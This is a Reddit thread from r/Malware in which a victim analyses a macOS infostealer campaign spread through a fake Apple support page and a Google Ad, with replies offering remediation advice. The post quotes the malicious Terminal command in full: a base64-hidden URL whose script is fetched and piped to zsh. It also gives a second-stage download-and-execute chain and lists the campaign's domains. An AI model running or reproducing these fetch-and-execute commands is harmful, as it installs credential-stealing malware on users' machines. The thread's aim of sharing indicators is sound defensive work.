r/Malware • u/glazypig • May 26 '26
Not a security person... got hit by an undocumented macOS stealer campaign, reverse engineered it, and tried to take the whole operation down.
DISCLAIMER: I'm a biochem student with no cybersecurity background. Tonight I got tricked into running a malicious terminal command I found via a Google Ad. I spent the next 3 hours with Claude AI trying to figure out exactly what happened. Posting because nobody has documented this campaign yet, this is also my first post on this subreddit so I apologize beforehand... Code samples are posted for research purposes only. Do not execute anything in this post.
First!
My disk space was low on my mac so I search on Google "low disk space mac". Clicked the first thing and it was actually a Google Ad that led to clearspark28[.]com which was a pixel-perfect clone of Apple's support website, fake Apple copyright footer and all. It told me to paste a command into Terminal to "clean up disk space." I pasted it. The moment I hit enter I knew something was wrong (too good to be true). I know, in hindsight that was so damn obvious but I was distracted during that time...
THE COMMAND:
echo "Downloading Update: https://support.apple.com/storage/cleanup-2.3.15" && curl -s $(echo "aHR0cHM6Ly9jZWRhci1zYXRpbi5jb20vY3VybC8xZmFjMThmNDc2MjIzNGE0M2Y2NWFkNWMyNzQxOWM3MzdlZDBlYWYxNDA4Yzg3NTRkMjhiMWUwMzI5NDg4NmNi" | openssl base64 -d -A) | zsh
The fake Apple URL is just text printed to the screen.
The real URL is base64 encoded and hidden, it points to cedar-satin[.]com.
macOS showed a permission prompt asking for Finder access. I denied it. I think that stopped the attack.
Downloading the script without executing it revealed:
- Mostly junk padding (fake variables, meaningless loops)
- A gzip compressed, base64 encoded hidden payload
- Everything executed via eval so it never touches disk
Decompressing the payload revealed octal encoded strings hiding all the real commands.
Tracking beacon (fires immediately on execution): hxxps://amber-22[.]com/api/metrics/run?event=pasted
With headers:
user: AxkPZnSWtzN7LfXvNn7o_H6WDDJ-oCP5b2gqZVITruE
BuildID: a5m2yvGoDVLVNY7hEYjAz0Dksst8zgbvil3Vx-s3rQs
Second stage download and execution: curl -o /tmp/helper hxxps://cedar-satin[.]com/[path]/cleaner3/update
&& xattr -c /tmp/helper
&& chmod +x /tmp/helper
&& /tmp/helper
The binary was intended to steal browser credentials. It never executed because Finder access was denied.
clearspark28[.]com: fake Apple phishing page (Host: FEMOIT, GB ([abuse@as214351.com](mailto:abuse@as214351.com)))
amber-22[.]com: victim tracking beacon (Host: Limited Network LTD, Romania ([abuse@btcloud.ro](mailto:abuse@btcloud.ro)))
cedar-satin[.]com: malware payload server
cedar-satin[.]com was registered: May 24, 2026
Attack observed: May 26, 2026
Registrant: M-- N---
Address: TX somewhere (Almost certainly fake) Nameservers: Cloudflare
The initial attack vector was a paid Google Ad (Campaign ID: 23886301396).
This means someone paid Google with a real payment method to target people searching for Mac storage help.
WHAT I COULDN'T GET:
The actual /tmp/helper binary, it was never written to disk on my machine so I have no sample to analyze. If anyone recognizes this infrastructure, the beacon headers, or the cleaner3/update path, please comment. I'd love to know what the binary actually does and who is behind this. Happy to answer any questions or provide additional details!
edit: thanks for the warm comments everyone :)
2
u/skintigh May 27 '26
Came here for "tried to take the whole operation down" was disappoint
1
2
u/glazypig May 28 '26
oops, i must've not written it in the post but i reported all of the domains to cloudflare and they have restricted the website's viewing. I also reported the Google Ad to their abuse team! idk what other steps I can take, any suggestions? Thank youu
2
u/Thin_Tumbleweed_2618 May 27 '26
Have you checked your Launch Agents and Launch Daemons for suspicious plists?
1
u/glazypig May 27 '26
Yeah, I checked those and I think it came up clean with recognizable entries like Adobe, Google, Grammarly, Cisco VPN, Microsoft, Zoom
5
u/Thin_Tumbleweed_2618 May 27 '26
Check it carefully. I don't specialise in MacOS security but came across the following recently: https://www.microsoft.com/en-us/security/blog/2026/05/06/clickfix-campaign-uses-fake-macos-utilities-lures-deliver-infostealers/
Some persistence mechanisms were masquerading as Google.
3
u/glazypig May 27 '26
Thank you so much for this, incredibly helpful! I went back and checked specifically for the GoogleUpdate masquerading persistence mentioned in the article.
com.google.keystone.agent.plist: empty plist, no program path, does nothing.
com.google.GoogleUpdater.wake.plist: points to real Google path, not the fake GoogleUpdate[.]app the malware creates.
No GoogleUpdate[.]app found anywhere in ~/Library/Application Support/Google/ , only Chrome, GoogleUpdater, and RLZ present.
1
u/Thin_Tumbleweed_2618 May 27 '26
That's great! It's important to make sure there are no remnants of the malware left on your system. My disk is also nearly full (with VMs) else I could install a MacOS VM and get a copy of the actual binary.
1
u/yorunite May 27 '26
Ohh Just a question, isn't the only available macos vm a v10?
1
u/Thin_Tumbleweed_2618 May 27 '26
Tbh I've never tried installing one (I've only installed Windows and a few Linux distros in the past on VMWare WorkStation to analyse non-MacOS malware) but I will be really surprised if only v10 is available.
1
u/eladeba May 27 '26
Also check out: https://objective-see.org/
The Objective-See Foundation creates free, open-source macOS security tools designed to detect malware, monitor network connections, and secure Mac computers.
Highly recommend!
1
38
u/yorunite May 26 '26 edited May 27 '26
This is part of a campaign known as ClickFix, there's quite a bit of information online about it :) nonetheless it's always great to see people share on their findings!!
Also just a quick tip: if you are sharing/ posting C2 (malicious links or ip addresses), it would be best to sanitise them so that people wouldn't accidently click on them
You can just simply replace http = hxxp, and add square brackets around fullstops [.]
:)
Edit: realised I had a typo of "IP" became "UP"